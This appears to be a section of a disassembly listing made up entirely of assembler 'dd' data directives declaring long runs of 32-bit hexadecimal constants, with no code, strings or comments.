		dd 89B6B2FDh, 554B67ECh, 5A215A7Fh, 69FE82E6h, 2A659D1h
		dd 351A4918h, 44BEFC73h, 420DF0BDh, 1E69C27Eh, 240B9C18h
		dd 0D0BA5D68h, 62372C85h, 39B57BEDh, 4EDB22D9h,	5115D80Ch
		dd 4D4AC109h, 0D87389F3h, 69547BC2h, 71ACFF22h,	0FE39577Eh
		dd 5D43959h, 591B4BEFh,	18FE61EDh, 0EBEB05C0h, 551EC722h
		dd 0F2635072h, 4C34CB24h, 0AC68578Ch, 0D7D79046h, 983D33E8h
		dd 2DDA2A67h, 6D719DA6h, 0C74387A3h, 283C16F9h,	0C23FB503h
		dd 5D6F7BD9h, 0B21A5E06h, 5C8B2402h, 3FEFDB40h,	9D9664F7h
		dd 0FB499C80h, 28F5AABDh, 0CDAD0066h, 70461754h, 74516650h
		dd 0A7485CF3h, 0BD77E89Ch, 78B075CDh, 950D1502h, 801D806Eh
		dd 4CFB55EEh, 8C6C1FBEh, 282525FCh, 98B0E63Ah, 837469FFh
		dd 48E7A490h, 87D5A77Dh, 104D8365h, 5F30DA2Bh, 554D71BFh
		dd 8FDF2953h, 0CE7893B0h, 0F026A0C5h, 7238C95Fh, 3E55FCC8h
		dd 233D6677h, 7A01B812h, 3C5A9408h, 0A67BE1F5h,	0A60EFDB6h
		dd 97FF9E8Ah, 8A91003h,	0F11CE97h, 0E81E30FCh, 2ABDACE6h
		dd 46DAA8FCh, 7502A690h, 23ECFE22h, 519E5253h, 2922B4F7h
		dd 211C324h, 0EBDD4F65h, 5D8D53FCh, 0D68BEC3Ah,	0B01A60B6h
		dd 5012C9F7h, 0FEFD44F4h, 0BAAB13E9h, 81577B4Fh, 7A4961A7h
		dd 5C4D960Fh, 9A5CB62Eh, 0FDF8BCA2h, 36456DCDh,	4FBA4A67h
		dd 3AD8BB0h, 0BD243242h, 9CBF564Bh, 0EB050CA2h,	0C0428CE6h
		dd 559468F9h, 9CBB6CADh, 3EF54D1Ah, 2FC1D91Fh, 5CE7C474h
		dd 5450D07h, 19A3CC9Ah,	5BDCBEBFh, 8B763AE3h, 41284BB4h
		dd 9697F33Ch, 0D52A8B85h, 985B47D2h, 9204EC74h,	2EF5313Dh
		dd 2586E9D5h, 7D731C47h, 9377B8B3h, 0C34B07C0h,	0A86A6A8Ah
		dd 54BBB717h, 0B9E1830Ah, 1B010BEDh, 178ABBC6h,	9531FCA1h
		dd 0F34E8411h, 5BB73FA4h, 0C7EBEBDBh, 3BF0D29Eh, 62A88CEh
		dd 0AC8814Fh, 42FF10A4h, 0FC3CD4Fh, 9E859F45h, 9D5F0077h
		dd 67B93967h, 8777C9CCh, 2C758CBBh, 0E566F592h,	6706EB6Ch
		dd 58D103EDh, 5630FAB5h, 24D28354h, 0B761AFC2h,	0D3D58E90h
		dd 25040F98h, 0A3AF8484h, 0EC5C0887h, 0F72D20BBh, 5DDC9865h
		dd 0FD2FC7F6h, 7336A4CCh, 3DCF49A2h, 0A88E54F3h, 6967AFB5h
		dd 94C14234h, 0AB61B44Ah, 0C475374Ah, 0E6715EC6h, 7A0A6E70h
		dd 9FD92B1h, 0ECDB55B7h, 0FF1A95F3h, 22A871C2h,	0E77BC411h
		dd 3CB19C3Bh, 81B7D349h, 76F23525h, 4F84DC85h, 0D2ADFDCCh
		dd 499BE083h, 2BE6B90Dh, 7D6DC356h, 69EC0815h, 0AADF0B87h
		dd 0C4241CC5h, 0F641DEFFh, 0AC7807B6h, 1ACBD3FBh, 14BF3EC2h
		dd 0AE7ADE32h, 3611C443h, 0F82E1D09h, 0C1AD13CAh, 3893E48Fh
		dd 5FFD78A9h, 7FDBAAE3h, 0DD2652E9h, 59342CFAh,	665201E5h
		dd 97A61AD2h, 62B35B65h, 0B2F693C9h, 6268053Ah,	0FB9410CFh
		dd 4AD73E13h, 744293Ah,	2400044Dh, 0EB166D97h, 0BF4D9351h
		dd 994961A9h, 0BF39F3FAh, 0AD81B13h, 0E28D2D17h, 8E8C27A6h
		dd 0BE5780ACh, 0BC4F2744h, 0C23D42DEh, 44E07B7Eh, 0E09427A7h
		dd 1CC8DC00h, 0C036110Dh, 0CB5B2FEBh, 0EA507CAAh, 0A5C7DF40h
		dd 53407E82h, 33613FA7h, 0A98D463Dh, 694F5B85h,	8248B7FAh
		dd 0FF23885Dh, 31AA6413h, 0C87284FEh, 0C5CD7836h, 0CEAAE867h
		dd 0C2C611E1h, 20886E96h, 0F2F149D4h, 9E35A363h, 0D3632FD2h
		dd 1208E889h, 41AA5759h, 7B37E2BDh, 33DF23E7h, 2C948E99h
		dd 78F5EB42h, 0A0D620F1h, 13A3403Eh, 14E4D64Bh,	846BBB86h
		dd 17CAE655h, 220ADDEAh, 4C534557h, 0B65BABABh,	13E41B00h
		dd 97F48ADEh, 51602731h, 3925A75h, 837CC2FEh, 0D74A034Fh
		dd 14E46BFEh, 0EA4E3E3Ah, 0E95BA1F8h, 9D28E9ECh, 845BDE61h
		dd 0A2374F3Ah, 88E2BD9Dh, 8D8A38A4h, 0F4D41CBFh, 0F0521447h
		dd 49767426h, 18A4131Eh, 1B5A8722h, 0B336A671h,	5F22520Dh
		dd 427AD5CDh, 857DED5Eh, 0E6D3D82Bh, 0C603814Bh, 0C96181B0h
		dd 0B018F300h, 0A9A88573h, 0C943EE2h, 0E70B794Dh, 58B28DF2h
		dd 826A4369h, 3F26A80Ah, 3E503B78h, 2298AAA1h, 448C4ADCh
		dd 0F36EF1D7h, 1750F1A5h, 0E57F9FA6h, 843F4236h, 7A1A1B06h
		dd 0FBDA0D65h, 0BE8B0B63h, 16691E13h, 44CC38A0h, 4B52B68Fh
		dd 4264F0F1h, 0E956D0BBh, 0D69E6A0Ah, 0A04FE886h, 0D0308E12h
		dd 96036769h, 0D53D7EB9h, 9EEBE89Ch, 54E3357h, 7C587275h
		dd 6A41B665h, 1B328EF9h, 4176F09h, 3B84F87Fh, 49EEBF44h
		dd 0FFE92423h, 0B02A2155h, 9917702Dh, 7872B1ADh, 7B3EE006h
		dd 0EDAFA167h, 0D0C8C4C8h, 95565A62h, 6F965717h, 613025F4h
		dd 0B4851569h, 0A1A774C6h, 67CEC510h, 6D44FB08h, 0AF2340A7h
		dd 9E3EA5DDh, 0A7546A0Dh, 0AA9E46D3h, 56245D78h, 0F3DA9Bh
		dd 0BBF8DAC2h, 66AC5DB4h, 4F2086CFh, 0FB7B9ECAh, 4FCB6DAEh
		dd 0D6496F74h, 0D8D1BDB7h
		dd 87494121h, 0B32AF40Dh, 896BC7Ah, 0E1CB2F82h,	56D2D5F1h
		dd 0AACC622Eh, 0ED61C8B9h, 76C7B8FEh, 2885ED27h, 7B5645B5h
		dd 578EEA21h, 0B37FFA72h, 7C26DB1Eh, 7D0E47EBh,	7369ACD4h
		dd 831405C4h, 4B032462h, 116DADF1h, 7A65FADFh, 0CBC71A8Eh
		dd 10367A95h, 691D0CDCh, 4D53A612h, 1C3932CBh, 0EC3A1396h
		dd 3DC70642h, 2F4AEF1Ah, 0F4CB57ECh, 0FD08D8D5h, 0D404A750h
		dd 68ED3894h, 0E4EE98B2h, 0ED6F07E9h, 0D7036FC9h, 0DD829A3Dh
		dd 8FA9519Fh, 15367DFFh, 73100127h, 0FD3B3474h,	0D1FD2817h
		dd 20C2219Dh, 0A05C3559h, 7A54180Dh, 789B3E9h, 0EC583366h
		dd 751666A9h, 0B562435Eh, 0D4089A37h, 4EE16662h, 0D37FB739h
		dd 34A15039h, 0B0253C9Eh, 0F383A123h, 9E3402E6h, 2188868Ah
		dd 0AAE67DF0h, 0A9BEC384h, 198DBA4Eh, 0E0A493E1h, 0A4CF664h
		dd 9156D89Ah, 0CB336B4h, 0D80F3589h, 0BCE4F047h, 0F5276079h
		dd 2078C72Dh, 35619B64h, 782977BBh, 50A015C1h, 1D5D0FA0h
		dd 0CA24B107h, 89409DB6h, 0E3C772B3h, 4AF4BCFEh, 9C352A6h
		dd 7A14F7FEh, 2201E221h, 4F749C80h, 307317B5h, 4A2AB57Fh
		dd 0F95CD7C4h, 643D50B2h, 1EB8244Eh, 2D829135h,	0B617F27Eh
		dd 65406BAEh, 9DB36B1Fh, 721E1D63h, 0D5FDB2A8h,	921E04E1h
		dd 0D80EDEB3h, 14A4C1CFh, 601EFBB0h, 0E68C5B3Dh, 971BA1FEh
		dd 6127EC38h, 41CF63BBh, 4212B36Ch, 2B83B94Ch, 0F2DB43B6h
		dd 0FF9C00C0h, 0E00A6FDFh, 2F837BC0h, 80109396h, 7B642EE9h
		dd 0FEAB53BAh, 1D99C2EBh, 0C5E8E9F1h, 99A3BB54h, 0E93B5084h
		dd 4388C689h, 0D9301CE8h, 48FAC804h, 1A3C3230h,	0ECA1E075h
		dd 8B60F0A9h, 7EC016DAh, 6837F889h, 0AE5AAADDh,	30DCE2E8h
		dd 47AD32BEh, 233E5CE8h, 12D97E75h, 0E2BC2587h,	4BCAFFA7h
		dd 5990BE16h, 33530A4h,	4103ED08h, 146F2028h, 0C530BB06h
		dd 0F08A3A1Fh, 0C2BCE246h, 40E8BF1h, 2E676450h,	0DEA909DDh
		dd 0A158571Ah, 8AAFE02Ah, 64A1BCABh, 78AE3E7Eh,	6EAC9103h
		dd 8288AE46h, 20E50A07h, 3F4DEAD5h, 656CD4A6h, 3E562D8Ah
		dd 58508201h, 54E0BF99h, 94AFC0C7h, 71123621h, 21985BA8h
		dd 89AE55F3h, 0E31E7F28h, 2D89E47Dh, 0D7201533h, 4CB136B0h
		dd 629C20AFh, 0B47A6B83h, 5D1F4801h, 6D6364CFh,	0FC30689Fh
		dd 0CB02F7D8h, 0D52FBFADh, 1D25332Ah, 0A27CEB4Bh, 0EDBB02Bh
		dd 2B147A57h, 0C1FDF180h, 2CB9F410h, 8B4C3C4Dh,	9F82F75Eh
		dd 8664DA4Eh, 42263581h, 333578C5h, 2562A18Ch, 0F96FFE3Eh
		dd 77999EDAh, 707EF0CDh, 0E7482277h, 33BB774Ah,	39F757B9h
		dd 5672AC87h, 0AF66B594h, 0B525A7A4h, 0C237743h, 47EF3975h
		dd 42995B16h, 9DAE5FD8h, 6E63DC78h, 2738A23Dh, 0AF4833A2h
		dd 0B3E9D995h, 0C6BB5579h, 0D791D0FAh, 8DC82C6Ch, 7E18D127h
		dd 0FF3D9A00h, 49959A28h, 0A1C47176h, 0D6D0226Ch, 0D9FAB87Fh
		dd 3857D9E7h, 9E866609h, 67AEA6DCh, 0CE842820h,	0B6A3537Ah
		dd 2FDD79Eh, 435C1B85h,	8FF4F014h, 2675024Dh, 34656CB3h
		dd 0E4A3CEA3h, 789095h,	0DB4621EAh, 0BC1778E4h,	92817ACEh
		dd 0D62B56E6h, 95264F7Ch, 0D34B4CCFh, 78BFC0A4h, 0C7481AD1h
		dd 0D2C25870h, 0FE002C05h, 582A4AE0h, 22AD357Dh, 0CFAA5BE3h
		dd 0EEE4BB4Fh, 57860ADCh, 16ABCA18h, 0F4886BE4h, 0A3736A27h
		dd 8D4996F7h, 23ED9388h, 10533AC5h, 0E081A6F6h,	0B88C2A50h
		dd 4F29A409h, 1FD3CB77h, 71410B5Dh, 0A17E270Dh,	4B12C314h
		dd 355D8A50h, 29EA3F8Ch, 2002B18Eh, 486EB476h, 0D5337862h
		dd 221210Dh, 3A15BB40h,	0AF9EF3DBh, 2F92FDE8h, 0E3D688A3h
		dd 0BCAA4831h, 4C8A942h, 685946F2h, 12327B65h, 4922132Ch
		dd 97C42E58h, 0C1AF55BEh, 64C7EC9Eh, 0EFB75421h, 6918F27Dh
		dd 38CD2D81h, 824CAF30h, 1C6C03E4h, 328B2C18h, 484510C0h
		dd 0D794AB72h, 970D9372h, 459FD49Ah, 7683217Fh,	0D60EF2BAh
		dd 0B39376AAh, 7FB1FECCh, 0ADD6BEF5h, 1D24E22Dh, 0FBE8BBD2h
		dd 6A23A4DAh, 0C3E2EBBEh, 0E4B6DB88h, 639CB94Ah, 0F3F546ABh
		dd 0BD35942Fh, 0E1C92237h, 0DD3B5552h, 984E084Ch, 67E231CFh
		dd 3E11E741h, 0BB91E225h, 4699C905h, 6ABD880Ch,	0E69AC02Ah
		dd 0EF20E493h, 9379BC54h, 2268E150h, 9629AF18h,	13F864BEh
		dd 5F9F818Bh, 0DE45B617h, 3C113152h, 261BD7FEh,	7CB4017h
		dd 339AD4EFh, 82DE7089h, 80ECBD28h, 3E11EF84h, 6A3913BBh
		dd 851B7AEBh, 57AF4F66h, 0AF83B81Ah, 5FB7AD04h,	710535FCh
		dd 3CC9F7A4h, 0FCF5AF11h, 3B20B727h, 4B83E25h, 0EC7EBBABh
		dd 0F805735Ah, 0DCF447E8h, 0CF5FD34Eh, 0B89D4842h, 3F28ECE6h
		dd 0FB5C2955h, 1FB9C891h, 6FD844E5h, 0F6433665h, 0CD478C06h
		dd 0F7B5790Bh, 9237E45h, 51E22D1Bh, 0AC472547h,	0E494196Eh
		dd 5415D1DCh, 45B07455h, 41570A07h, 0E5FEF970h,	0C87F17A5h
		dd 0C48B31C6h, 84BB12D9h, 37587A58h, 0AE8FCFBEh, 6903ADE1h
		dd 0C9FA8F19h, 54CF6910h, 0C387CBA0h, 2DE762FAh, 3740397Bh
		dd 891E5975h, 9705BF93h, 0BE0DC23Ah, 0AFBE1FFAh, 35990F89h
		dd 414727DFh, 0C520065Ah, 2B9D64D3h, 9117EE81h,	577EBF55h
		dd 4726F60h, 0EA9F74F8h, 576BFEC8h, 0E90E0075h,	454A7970h
		dd 931C8011h, 6193A99Fh, 13B532EFh, 980E4586h, 0EB297C58h
		dd 0D6AC2E72h, 82C0AA24h, 0D2FC3C07h, 0A5613B05h, 0E9403A0Fh
		dd 0D36F8F0Dh, 0DD6FAE51h, 280D931Bh, 0C4589353h, 0B23C7EF4h
		dd 39032545h, 6ABB29D1h, 213EE59Fh, 36389A85h, 219C2D12h
		dd 0AAFF4C8Dh, 355561C6h, 0B93D6925h, 0A89AFF1Eh, 0D5EBB424h
		dd 0A1173203h, 928C530Dh, 0BF0252EFh, 0F126BD3h, 0AC1AC14Ch
		dd 7F692E98h, 2D3D3BADh, 747F9D55h, 714DCF1Bh, 798D3A3Dh
		dd 9F4A3C79h, 0FC6AFEB3h, 0D039CF74h, 0FE2DBAA7h, 4F337445h
		dd 0B4F9028Eh, 0F16A35B8h, 146BF1CAh, 744ADED8h, 83020121h
		dd 54F2B7CDh, 0FD0B04C4h, 0ED1EA6C8h, 97C2680Dh, 39DEA740h
		dd 128D0A88h, 0AB49CEEEh, 555A7538h, 26591CC1h,	189A0925h
		dd 0A9D37AB2h, 114B1F07h, 6DB476Ah, 82097367h, 2415B24Fh
		dd 0DB466FF4h, 0A8D38353h, 0E3FC11D3h, 0C6F50697h, 511CADDDh
		dd 7ED9E6A3h, 0FC691554h, 5BAD79E7h, 3E99EDA8h,	49CF6276h
		dd 0BF208F19h, 0A01625EAh, 64E2D946h, 370C1138h, 0F6CCD422h
		dd 60BBC21Dh, 0BBAC9402h, 0D5DF312Eh, 0C4705DD8h, 8FEE5F2Fh
		dd 0CA82A29Dh, 0D2FBC688h, 33823DD1h, 538C8DF3h, 0C6520946h
		dd 86E775F2h, 0D73071E8h, 18771185h, 0F677371Ah, 11B81F4Ch
		dd 93E4399Bh, 0D702375Ch, 0B68DA9CFh, 0B67556ADh, 93EF9FEAh
		dd 13D6D69Ah, 6BE225A1h, 9F628316h, 8D3C734Eh, 0ED21F415h
		dd 31BB6C8Eh, 3751AB20h, 2EB6AE2Dh, 0BE8060DEh,	0B8E29EA5h
		dd 658ED8Ah, 1BEFCE94h,	32C6AB9Ah, 0A4C371C0h, 7CD77D24h
		dd 58B66A74h, 7EE283DAh, 472172D5h, 0D6E002C8h,	7A966358h
		dd 752444FBh, 4EDEE0B9h, 0CB0DD9E1h, 834E64B6h,	0DEE0EED5h
		dd 0AAAA3B43h, 0E17F1B1Ah, 0EC4F834Bh, 11C62FD1h, 756C5797h
		dd 37E21A9h, 0C163BD80h, 0F5BC6310h, 277B6F61h,	58AFD163h
		dd 0D459277Bh, 0AE231C9Eh, 0CF50C838h, 0DCF084BDh, 0B930D72Ch
		dd 0E7905665h, 58B583F8h, 4F44D427h, 53B21A64h,	8E0D3903h
		dd 16659AFFh, 128DDF5Fh, 0DCE5BF10h, 3BF149BFh,	7B03747Eh
		dd 35100563h, 0DD4943F5h, 88CF0FECh, 9D455271h,	50A90B8Eh
		dd 0EE4655E3h, 5BD6D4AFh
		dd 4136B520h, 92E7AA2Fh, 19957310h, 0A81D6A7Ch,	1DDF07C8h
		dd 13E38304h, 6773987Ch, 0FF81E2C3h, 0C0671733h, 73F8AA48h
		dd 5A55627Eh, 0DA4750F5h, 35306C07h, 48D11A0Ch,	0BCA2CA8Bh
		dd 1AA3B848h, 0F6FEA984h, 0BD7E75A1h, 9CE293E3h, 52CFD5D1h
		dd 209307E3h, 37948F73h, 0F0513D0Eh, 37410558h,	81E9C2C0h
		dd 3E42203Ch, 4B2C1A7Fh, 87F3C4F0h, 66BD4474h, 0C0E12D47h
		dd 1D4D8D65h, 298CDCD4h, 2DF1CCD5h, 0DD63CECAh,	8645B4B8h
		dd 22B7E18Dh, 511FA68Bh, 2DB6C69Bh, 134346B7h, 0CC11AF21h
		dd 0E669102Fh, 0A7A6C8D9h, 0A1CD8ADh, 0C412247h, 42FE9869h
		dd 0CDF1723Bh, 816E7562h, 4A34B576h, 6F3DAB79h,	93072752h
		dd 0A73CB435h, 0BD4986A6h, 0FC843F10h, 887C57EBh, 9794FEB7h
		dd 377A2A9Fh, 0BCB0D46Fh, 0E90A4210h, 5BEABA47h, 37664B71h
		dd 3521B5EEh, 17BB8880h, 0BFCEADB0h, 82A782D0h,	75B98752h
		dd 2A2E8335h, 2761556Ch, 0DA25BEADh, 20F2BC77h,	82C89366h
		dd 0F7CEB23Bh, 0D01C6F02h, 679E6C69h, 9A7A6DD9h, 1DEA6B5h
		dd 2D3AEAB8h, 70745D77h, 0FDA575FDh, 729D676Bh,	0D88970DBh
		dd 0F7F6B416h, 9C9B0843h, 732619Bh, 6B04961Bh, 72DD69C6h
		dd 4AAEEEFh, 2CB8FC27h,	0F9BCA981h, 5BBD7AC7h, 422FB2E8h
		dd 8D33ADA9h, 6958E3DAh, 0AC093659h, 0B72F0673h, 25646DD0h
		dd 93B99864h, 4BB01547h, 79A75B4Ah, 0DB21F8A5h,	541BEA2Eh
		dd 0A9B622A7h, 0E322002Bh, 373106D6h, 7D3D97B0h, 5D80D1CBh
		dd 0CC927BE8h, 5240C58Bh, 0C408F842h, 1799B4E5h, 775C385Fh
		dd 0A8C33EF6h, 7FA6D188h, 0DF3AC3BAh, 58D2BB6Ah, 713095A1h
		dd 4C0A5886h, 0F2F08F72h, 6A997589h, 262B7D0Bh,	2FC3154h
		dd 3354F287h, 5607C793h, 0F9C8CFFAh, 5E2AD53Fh,	1C8DCBD8h
		dd 37896335h, 1F0E9507h, 34107983h, 79800F41h, 0DD6694A4h
		dd 6866FF0Dh, 0A71CE288h, 98CD8728h, 895A9679h,	0B26283CEh
		dd 0D2DE4133h, 85D8D0CCh, 8E1E31EDh, 5A7D85D6h,	3E3A04BCh
		dd 0DFD1BD89h, 0F413A001h, 0AF1137E5h, 0ABC9974Dh, 0CD9994F0h
		dd 23CFF6E9h, 0E65F2A3h, 0C352D38Ah, 8B42C659h,	0A4BCCCF9h
		dd 68CA5043h, 2CB8596Bh, 8219BDB9h, 5CC17200h, 0BB08C146h
		dd 0B64C4898h, 0D8A94A1Fh, 37B82A28h, 1F880C41h, 0B755A194h
		dd 6E8107F3h, 0F5924CFDh, 1A04AFEh, 76855AB7h, 70B071B0h
		dd 642EE327h, 0D8EBCF11h, 0D4CA8235h, 832D8D62h, 358085F2h
		dd 7AF77D4Eh, 4A6DACD1h, 0FA9A905Ch, 96BE2C0Bh,	34A62DE4h
		dd 0A71F5E8h, 4D746205h, 0C593FE5Ch, 8636EE12h,	664C95E8h
		dd 0FA08E217h, 2B99612Bh, 37D3F18Bh, 0EFA8AC1Bh, 6667C9BFh
		dd 4102709Ah, 808992C2h, 3408A6BFh, 86EAEE0Ah, 0F254616Bh
		dd 7436970Bh, 1140A221h, 76408D94h, 1A9745A3h, 68206859h
		dd 0DA13B7Bh, 0E745A339h, 0E4976AB3h, 0DE327826h, 8FE712CFh
		dd 9BC367AAh, 7B7E2ECDh, 81135618h, 9CA9195Bh, 8B0EA6BDh
		dd 371FC28Ah, 99DFF6A4h, 55D59A90h, 4D3390E6h, 707F2CECh
		dd 68032E88h, 8ADD0085h, 0C15E399Eh, 72047A93h,	8749AF25h
		dd 12E43C1Bh, 56FD64FEh, 6425AA0Dh, 5320F244h, 0A1FBD175h
		dd 0D8BA2ADCh, 0F9D23294h, 0E78AC916h, 418AC39Ch, 0A854FEB4h
		dd 0F94FD16Dh, 0D7107E4Fh, 11CAD934h, 2CB57C6h,	1B79917Dh
		dd 0BCD57007h, 0A6EE267Ch, 77E8E402h, 71832559h, 415725C4h
		dd 0B3196850h, 0F27768D8h, 3B8AE55Ch, 56AC0B25h, 86A57968h
		dd 91BE07B9h, 0A751696Dh, 0E51B6F7Ch, 77072BB1h, 0D49927B7h
		dd 79BD4E11h, 0C23BBDCBh, 0D99076FDh, 0B0A8AAFAh, 39A99B88h
		dd 0BF3917B2h, 510658E9h, 0D1622970h, 0D7D23EF2h, 0BC0B288Ah
		dd 0A49EBE36h, 8ED4617Ah, 0BC024861h, 0F3A783A7h, 0C7E96354h
		dd 0B7E6C3h, 2B4142B7h,	0C5AD3F39h, 4F9A0060h, 10A4DAF2h
		dd 3A7EE753h, 0B3E73976h, 16FB74BEh, 70A9EAC6h,	69AD9D1h
		dd 123187B4h, 0F4DF4640h, 7A8E8D26h, 3280FD08h,	0BF43BA3Ah
		dd 96263138h, 0BCCFE0FAh, 0B9024239h, 821BAB6Fh, 2D386FAFh
		dd 0AC303DADh, 9AD261D8h, 3F9AFB91h, 0F54C704Eh, 575CA531h
		dd 32561910h, 126BBEF1h, 40886080h, 56F2D2B4h, 5252B16Eh
		dd 0AF686A44h, 5B5D2281h, 0EBFF9241h, 8E4BC69Fh, 0D8CB7AEEh
		dd 0C94646D9h, 421A057Dh, 0B8125639h, 4FA76CF5h, 345D07A2h
		dd 0E92609B3h, 47BF6398h, 0F4632227h, 0A1094000h, 769A26DEh
		dd 0A75D144Bh, 92CA1DB1h, 76A1C396h, 0D4E13873h, 0C9C3F6E3h
		dd 362E7893h, 0CD9FDD95h, 792F5FD7h, 9FA1CE6Eh,	0C6309977h
		dd 0F03CA7D1h, 507EEB24h, 18903F97h, 54C168CFh,	0BB0E226Dh
		dd 6CF48EEFh, 73FF8D77h, 1F0878A0h, 8AC4AE0Fh, 0D79E6D21h
		dd 0C32329DFh, 257411E1h, 6211D6ACh, 0A0026502h, 4209BD60h
		dd 17D02D74h, 0BE5D7518h, 4B738B18h, 0B448CA30h, 0FFDDFAA7h
		dd 5F4270C0h, 8E00108Eh, 216473A8h, 0A57BC7h, 9922ED72h
		dd 2C5A3340h, 0C6850BA1h, 15B5917Fh, 1558E971h,	64940h
		dd 496CB0ABh, 6D7739C1h, 6C35F22h, 0F1FE12C3h, 7DEDAC25h
		dd 0CE597065h, 9E611535h, 0DF918C52h, 89A38830h, 0DA676E15h
		dd 7DBA9C85h, 0E78D1795h, 6D22C302h, 0ECD785Eh,	0D3697893h
		dd 4A445828h, 0D5386601h, 4E3A34B1h, 0ABE81410h, 7CDCBC71h
		dd 0A683719Dh, 68029979h, 346E838h, 2016EBB1h, 0D26DB57Ah
		dd 4D319A5Dh, 8B065C67h, 78ADA365h, 0D13AC3E5h,	57FBB3AEh
		dd 4D039F3Ah, 31B65547h, 8465A3BFh, 0B69DCC23h,	0DF883813h
		dd 0DB96E617h, 0B4A5D753h, 31A95B5Fh, 0E6394BDCh, 0F3D74B06h
		dd 0ACAD6B5Ch, 65A07F83h, 4AAD3998h, 785D5A76h,	666CD3C4h
		dd 8B6C46A5h, 95D8FE5Bh, 649C1A4Ch, 0C60C0737h,	6718452Ah
		dd 6FD2B7E7h, 2DD394BEh, 6F8C9622h, 8403DB33h, 0FFB6D1E7h
		dd 2283C0A0h, 5BD17419h, 0F522DF52h, 0E0E16D7Fh, 19F0B69Ah
		dd 0C9499BBAh, 11060AF3h, 1ECE6B8Dh, 3EDDCC1Ah,	314D093Fh
		dd 3D196459h, 3AFEAADDh, 0CEF8E783h, 0C536FA81h, 0CF475392h
		dd 0F1B175CCh, 0DC3DC14Fh, 0E8F0BC3Fh, 0A893F4BCh, 570B4072h
		dd 6235D636h, 396672D9h, 0B776BE3Dh, 0F7778C88h, 3230C9EFh
		dd 0DB9D5DF3h, 9589915Eh, 3E65078Ch, 0DBE984D5h, 0FC5F1B60h
		dd 7A3C72F3h, 242A41E1h, 0E29DFC7Eh, 0B4678E2Eh, 1CA55B8Bh
		dd 88CE3D04h, 0B4941117h, 8AA21D29h, 474B3D9Bh,	5E6A70FEh
		dd 0C5A804B5h, 3211ECBBh, 0B69034CFh, 50A4BA87h, 0A5E1A7CDh
		dd 15F088C9h, 7448EC39h, 0B1494CCh, 4700955Eh, 0DE6CDCC2h
		dd 0B6AFDD7Eh, 0F5920349h, 0E3AD74Fh, 96A8DDBCh, 0ACD5F499h
		dd 4E7E746Bh, 802906D6h, 2186CBAFh, 0D80CE022h,	7BC33456h
		dd 0BEB8ED82h, 363D9035h, 622DC65Ch, 555709C8h,	0A1D89E14h
		dd 67D86E32h, 58B74B72h, 88A92FEh, 84A2E200h, 9986BAE9h
		dd 0A102FBA0h, 837156E0h, 0E4098F2Eh, 0AF4FD733h, 3D5E19D5h
		dd 0BCA6DECDh, 6FEAFADCh, 661DFD5h, 4DD3C2C1h, 0CFF611F8h
		dd 0ED01B3BBh, 0F4FAAAEBh, 0F6F472CFh, 5A273915h, 55EE3F47h
		dd 39C86FFCh, 17D6A97Fh, 0A3E9D332h, 15E60ECAh,	467153B7h
		dd 0E17D0FECh, 0BB0D0279h, 85375DBBh, 497B851Dh, 0CF618D70h
		dd 78421CA8h, 1B0CF4E5h, 417C7D40h, 85B05C48h, 3A57BB40h
		dd 0DD535334h, 9836BDBAh, 2FAC12ACh, 0B9509EB2h, 8310D644h
		dd 0BB8BEA07h, 8D1C0D4Bh, 829615FBh, 319E1DFBh,	22E21694h
		dd 24550FFBh, 0AC4CCD71h
		dd 0CBB83188h, 895C6BFAh, 0F8D2D136h, 0B14A7FDAh, 0F9AB3D73h
		dd 83D4DA3Ah, 6284C41Dh, 1DA7EA1Bh, 0F27BFEDDh,	93FF206h
		dd 0ACD87F31h, 5FA38BB9h, 5E7AA0AFh, 0EC4D5DB2h, 0CB28D725h
		dd 49105D4Ah, 289A0327h, 0E155D6Dh, 738B8F5Fh, 2A8E157Eh
		dd 85696C13h, 0E4CB8A74h, 0CBD56612h, 329DBFE3h, 0D901D8DFh
		dd 6FBFC953h, 9050A12Ch, 868B8A0h, 0E3D46625h, 3BBCC5EEh
		dd 0FD2FA2FFh, 61402C37h, 6873DA9Dh, 675F2D0Ch,	4569FC14h
		dd 0FB1D3459h, 0C2CDAE2Dh, 8BB5227Eh, 9177B481h, 978E9BC6h
		dd 22A97BBEh, 17CD8C4Bh, 78C5AA1Eh, 2C72CCF3h, 93852308h
		dd 0A0A994AEh, 986E1042h, 245B1DB8h, 7D3CA413h,	0F18BA0DBh
		dd 0DB50A509h, 0DDA9C80h, 1FAA19E6h, 0A352B118h, 3074CD73h
		dd 0C7427E72h, 5CB69EE0h, 0D0807C25h, 0BB46247Eh, 0D2E301DFh
		dd 269FC191h, 22A3BEE7h, 958CC9AEh, 0BB2B97FCh,	0D2F6E846h
		dd 78B3085Ch, 0BE519EA4h, 0FD92EB5Eh, 76C478CEh, 75EE91C5h
		dd 0CA2438D7h, 8B7B81C9h, 65D32302h, 381A3F89h,	823ADE6Eh
		dd 32B2735h, 94E761C1h,	705485D4h, 55C0D1E6h, 3A9A7AC1h
		dd 4F510680h, 0C26C4DC6h, 35D0595Ah, 0F0A64AA1h, 8A44E9FCh
		dd 0D77DFB2Bh, 5410A348h, 0DC0B3A6Fh, 63345DB9h, 24E4AC86h
		dd 80B0A3CEh, 0CBFD46B3h, 0E7AD6EFCh, 8C887DD0h, 0CD8B56C7h
		dd 671277EBh, 0F15CF4Bh, 55294886h, 0AE2305B3h,	3A70E439h
		dd 0D05163D5h, 85A687CBh, 0FB1E1732h, 0B898D74Ch, 62839882h
		dd 9D030690h, 0B3409450h, 92918C51h, 0CD9226F4h, 0B3653D73h
		dd 0CB611FD0h, 74B58D25h, 0AE473426h, 0FB26428h, 0C3E6BE8Ah
		dd 6E20CFC1h, 27638888h, 0C3021DE5h, 13CFF16Ch,	11CBFA64h
		dd 0C2DD91BEh, 1F68855Fh, 4472FD25h, 0ED1E5EEAh, 0E9471A7Eh
		dd 0F95A3B57h, 0CBD6E2B6h, 5DB823A8h, 0B44BF973h, 8B278556h
		dd 9B194117h, 0FB60910Fh, 0AB371BA7h, 12247070h, 75BBAC47h
		dd 0A8EB8C54h, 0F3F73A81h, 0F0BC7ED1h, 0C6DE40E9h, 9ADBE837h
		dd 6023F3DCh, 6C7F10E1h, 0FBF35BA6h, 907E943Eh,	0C89FC82Fh
		dd 365A36F8h, 9D009F1Eh, 9A9E7CD9h, 2FE1794Ch, 2EC54FC4h
		dd 0B757FB3h, 0CEA9A692h, 55D52D36h, 0B69E7593h, 536BEB7Eh
		dd 253C8C2Dh, 1983BEEFh, 28FD823Bh, 0B7E1E2FFh,	0FB70D7F6h
		dd 7E2A8799h, 3C4EE271h, 0C054C757h, 29927A56h,	5BB5D53Ah
		dd 2D964402h, 28DB2F0Eh, 573443ACh, 0FAE243Ch, 0BFC90A34h
